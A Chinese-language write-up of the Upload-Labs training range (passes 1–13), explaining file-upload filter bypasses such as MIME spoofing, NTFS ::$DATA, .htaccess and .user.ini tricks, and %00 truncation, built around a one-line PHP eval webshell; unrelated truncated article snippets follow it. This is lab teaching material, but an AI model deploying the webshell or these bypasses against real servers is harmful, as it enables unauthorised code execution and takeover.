《Upload-Labs》01. Pass 1~13
Upload-Labs
- 索引
- 前言
- Pass-01
- 题解
- Pass-02
- 题解
- 总结
- Pass-03
- 题解
- 总结
- Pass-04
- 题解
- Pass-05
- 题解
- 总结
- Pass-06
- 题解
- 总结
- Pass-07
- 题解
- 总结
- Pass-08
- 题解
- 总结
- Pass-09
- 题解
- Pass-10
- 题解
- Pass-11
- 题解
- Pass-12
- 题解
- 总结
- Pass-13
- 题解
靶场部署在 VMware - Win7。
靶场地址:https://github.com/c0ny1/upload-labs
部分题目可能需要白盒审计。
索引
- Pass-01:前端绕过。
- Pass-02:MIME-Type 绕过。
- Pass-03:黑名单绕过之
::$DATA与双写绕过。 - Pass-04:.htaccess 利用。
- Pass-05:.user.ini 利用。
- Pass-06:黑名单绕过之大小写绕过。
- Pass-07:黑名单绕过之空格绕过。
- Pass-08:黑名单绕过之点【.】绕过。
- Pass-09:黑名单绕过之
::$DATA绕过。 - Pass-10:黑名单绕过之点空格点绕过。
- Pass-11:黑名单绕过之双写绕过。
- Pass-12:白名单绕过之
%00截断绕过,GET 方式。 - Pass-13:白名单绕过之
%00截断绕过,POST 方式。
前言
编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。
<?php echo 'Hello!';@eval($_POST['hello']);
?>

相关文章:
《一句话木马@eval($_POST[“cmd“]);是什么意思》:
https://blog.csdn.net/qq_62708558/article/details/123030828
Pass-01
题解
任何前端验证都是纸老虎。
上传时使用 burp 拦截,并将文件后缀修改回 .php。

上传成功,右键查看文件地址。

木马已成功执行。

尝试蚁剑连接,成功。

Pass-02
题解
上传文件并进行后缀与 Content-Type 绕过。

上传成功。

总结
MIME-Type,资源媒体类型。
MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。
- MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
- 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
- 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
- 例如:Content-Type: text/html
- 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。
常见的 MIME 类型:
- 超文本标记语言文本(.html、.htm):
text/html - 普通文本(.txt):
text/plain - RTF 文本(.rtf):
application/rtf - GIF 图形(.gif):
image/gif - JPEG 图形(.jpeg、.jpg):
image/jpeg - au 声音文件(.au):
audio/basic - MIDI 音乐文件(.mid、.midi):
audio/midi, audio/x-midi - RealAudio音乐文件(.ra、.ram):
audio/x-pn-realaudio - MPEG 文件(.mpg, .mpeg):
video/mpeg - AVI 文件(.avi):
video/x-msvideo - GZIP 文件(.gz):
application/x-gzip - TAR 文件(.tar):
application/x-tar
Pass-03
题解
之前的方法均失败。不过仍然是黑名单过滤。
由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA。
上传成功但无法访问。

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):
.php::$D::$DATAATA

上传成功。

总结
::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。
NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。
Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。
例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php。
除此以外,服务端对不合法的后缀名进行替换为空是常用手段。
Pass-04
题解
这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。
创建一个 .htaccess 文件并写入以下内容。
<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。
但是失败了。可能实现条件比较苛刻。
这里附上几篇参考文章:
《文件上传-uploadlab通关手册》:
https://blog.csdn.net/qq_51153463/article/details/124547943
《upload-labs通关总结|那些年踩过的坑》:
https://blog.csdn.net/m0_56691564/article/details/127614557
Pass-05
题解
已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。
先上传如下 .user.ini 文件。
auto_prepend_file=520.jpg

再上传木马,之后访问 readme.php 文件即可。

总结
参考文章:
《【文件上传漏洞】user.ini留后门》:
https://blog.csdn.net/weixin_53146913/article/details/124840296
《文件上传:.user.ini的妙用》:
https://blog.csdn.net/weixin_52635170/article/details/126962920
Pass-06
题解
上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

之后复制链接访问即可。
总结
对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。
Pass-07
题解
使用空格绕过。
抓包修改后缀名,在文件名最后加上一个空格。

之后访问即可。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-08
题解
使用点绕过。在文件名最后加上一个点。

上传成功。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-09
题解
原理与 Pass-03 相同,::$DATA 绕过。

Pass-10
题解
点空格点绕过(利用验证规则不完善)。

Pass-11
题解
双写绕过。

服务端对不合法的后缀名进行替换为空是常用手段。
Pass-12
题解
这题通过代码审计可以发现发现 $img_path 变量可控。
使用 %00 截断,让后面的代码不执行。


总结
%00 截断:
- 利用手动添加字符串标识符的方式来将后面的内容进行截断。
- PHP <= 5.3.4。
- php.ini 文件中 magic_quotes_gpc = Off。
Pass-13
题解
与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。
POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。
——《刘子》(北齐)刘子
相关文章:
《Upload-Labs》01. Pass 1~13
Upload-Labs 索引前言Pass-01题解 Pass-02题解总结 Pass-03题解总结 Pass-04题解 Pass-05题解总结 Pass-06题解总结 Pass-07题解总结 Pass-08题解总结 Pass-09题解 Pass-10题解 Pass-11题解 Pass-12题解总结 Pass-13题解 靶场部署在 VMware - Win7。 靶场地址:https…...
v-for中的key
在Vue中,当使用v-for指令循环渲染元素时,添加:key是一个推荐做法,尤其是在循环的元素可能会被重新排序、添加或删除的情况下。 :key的作用是为每个循环的元素提供一个唯一的标识符,以便Vue能够跟踪和管理这些元素的状态。Vue使用…...
MySQL学习笔记17
MySQL权限管理grant: 权限说明: Table 6.2 Permissible Privileges for GRANT and REVOKE PrivilegeGrant Table ColumnContextALL [PRIVILEGES]Synonym for “all privileges”Server administrationALTERAlter_privTablesALTER ROUTINEAlter_routin…...
跨境电商建站:选择域名需要注意什么?
在跨境电商建站过程中,选择一个合适的域名至关重要,尤其是对于跨境电商独立站来说,它对未来的seo排名和品牌建设都有着重要影响。关于本文,我会先从域名的定义开始,到域名选择的重要性,再到如何选择一个完美…...
jupyterlab
1. 环境:linux 环境(基于ubuntu-fork 镜像实现) 2. pip install jupyter notebook 3. 编译jupyterlab源代码必须使用 node 14.21.3 高版本编译报错#下载 node 14.21.3 :wget https://nodejs.org/download/release/latest-v14.x/node-v14.21.…...
Oracle的递归公共表表达式
查询节点id为2的所有子节点的数据,包括向下级联 WITH T1 (id, parent_id, data) AS (SELECT id, parent_id, dataFROM nodesWHERE id 2UNION ALLSELECT t.id, t.parent_id, t.dataFROM nodes tJOIN T1 n ON t.parent_id n.id ) SELECT * FROM T1; --建表语句 C…...
解决antd vue ts v-model:value绑定Boolean布尔类型爆红但可以使用
没啥好写的,写点注意点把 前言:在 antd vue中需要用到对应的类型转换,v-model后面补一个value来表明类型,但这也是默认类型,并不是指定类型默认是 (property) value?: string | number | undefined 字符,…...
zblog插件大全-zblog免费插件
在当今数字化时代,拥有一个精彩的博客或网站已经成为许多人追求的目标。通过博客,我们可以分享知识、表达观点,甚至创造收入。然而,维持一个充满新鲜内容的博客却不是一件容易的事情。 ZBlog自动采集插件 什么是ZBlog自动采集插件…...
思科、华为、华三、锐捷网络设备巡检命令
下面为四种设备巡检命令,以便日常查阅: 华三 screen-length disable 取消分页 displayversion 查看版本 display clock 查看日期时钟 display fan 查看风扇状态 display power 查看电源信息 display cpu-usage 查看CPU利用率 display memory 查看…...
正则表达式贪婪模式和非贪婪模式
一、贪婪模式 贪婪模式表示尽可能多的匹配字符串,正则表达式六个量词元字符?、、*、{n}、{n,m}、{n,}默认是贪婪模式 接下来引入一个场景来分析说明 获取html a标签href属性的值 <a href"https://www.baidu.com/" attr"abc"></a>…...
借助 ControlNet 生成艺术二维码 – 基于 Stable Diffusion 的 AI 绘画方案
背景介绍 在过去的数月中,亚马逊云科技已经推出了多篇博文,来介绍如何在亚马逊云科技上部署 Stable Diffusion,或是如何结合 Amazon SageMaker 与 Stable Diffusion 进行模型训练和推理任务。 为了帮助客户快速、安全地在亚马逊云科技上构建、…...
Codeforces Round 892 (Div. 2) - E. Maximum Monogonosity 思维dp 详细解析
题目链接 好久没有写题了复健一下qwq 题目大意 解题思路 这题目还挺妙的 首先考虑比较正常的dp, d p [ i ] [ j ] dp[i][j] dp[i][j] 为前 i i i的长度选 j j j个长度的最大价值,那么转移方程是: 图片来自:图片来源 但是这个是 …...
R语言中的数据重塑
文章目录 介绍reshape2::melt()的用法实例 reshape2::dcast()的用法实例 tidyr::gather()的用法tidyr::spread()的用法 介绍 tidyverse系列包中的函数操作都是针对简洁数据框进行的,对于不是简洁的数据,实现需要进行数据重塑。数据重塑主要包括长宽表的…...
基于Java实现的社区团购系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言系统功能具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding)有保障的售后福利 代码参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域…...
nodejs+vue网上婚纱购物系统elementui
便了用户足不出门也能进行购物的理念,方便了婚纱影楼的对商品的进一步管理,互联网成为人们快速获取、发布、和传递信息的重要渠道,它在人们政治、经济、生活等各个方面发挥着重要的作用。未来的时代是网络信息的时代,“网上生活方式”是人类今…...
【2023集创赛】加速科技杯三等奖作品:私密性高精度刷手身份认证系统
本文为2023年第七届全国大学生集成电路创新创业大赛(“集创赛”)加速科技杯三等奖作品分享,参加极术社区的【有奖征集】分享你的2023集创赛作品,秀出作品风采,分享2023集创赛作品扩大影响力,更有丰富电子礼…...
1500*C. Kefa and Park(dfstree)
Kefa and Park - 洛谷 Problem - 580C - Codeforces Examples input 4 1 1 1 0 0 1 2 1 3 1 4 output 2 input 7 1 1 0 1 1 0 0 0 1 2 1 3 2 4 2 5 3 6 3 7 output 2 解析: dfs遍历,记录前一个结点权值是否为1,并且累计路径1的个数…...
【2023保研】双非上岸东南网安
个人情况 学校:henu 专业:信息安全 排名:1/66 英语:六级500 竞赛:蓝桥杯PB国一,ISCC国一,密码数学挑战赛国三,还有其他一些省级水奖 论文:一篇EI在投(三作通…...
Redis与Mybatis
作者在学习Redis整合时使用JDBC与Jedis,但是呢,现如今的环境下,Mybatis系列ORM框架是更受关注的方法,作者有一点点Mybatis基础,Mybatisplus几乎忘的差不多了,现对Redis整合Mybatis相关知识进行梳理…...
MySQL架构 InnoDB存储引擎
1. 什么是Mysql? 我们在开发的时候,我们都需要对业务数据进行存储,这个时候,你们就会用到MySQL、Oracal等数据库。 MySQL它是一个关系型数据库,这种关系型数据库就有Oracal、 MySQL,以及最近很火的PgSQL等。…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...
第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
C# 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
android13 app的触摸问题定位分析流程
一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...
Spring AI Chat Memory 实战指南:Local 与 JDBC 存储集成
一个面向 Java 开发者的 Sring-Ai 示例工程项目,该项目是一个 Spring AI 快速入门的样例工程项目,旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计,每个模块都专注于特定的功能领域,便于学习和…...
32单片机——基本定时器
STM32F103有众多的定时器,其中包括2个基本定时器(TIM6和TIM7)、4个通用定时器(TIM2~TIM5)、2个高级控制定时器(TIM1和TIM8),这些定时器彼此完全独立,不共享任何资源 1、定…...
Java中栈的多种实现类详解
Java中栈的多种实现类详解:Stack、LinkedList与ArrayDeque全方位对比 前言一、Stack类——Java最早的栈实现1.1 Stack类简介1.2 常用方法1.3 优缺点分析 二、LinkedList类——灵活的双端链表2.1 LinkedList类简介2.2 常用方法2.3 优缺点分析 三、ArrayDeque类——高…...
